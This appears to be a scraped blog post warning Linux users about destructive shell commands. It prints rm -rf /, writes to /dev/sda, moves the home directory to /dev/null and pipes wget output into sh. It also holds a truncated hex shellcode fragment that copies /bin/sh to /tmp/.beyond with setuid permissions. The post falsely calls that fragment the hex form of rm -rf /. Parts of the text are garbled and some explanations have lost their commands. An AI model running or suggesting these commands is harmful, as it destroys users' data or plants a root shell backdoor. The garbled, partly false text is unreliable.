rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
char esp __attribute__ ((section(".text"))) /* e.s.p
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\ x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.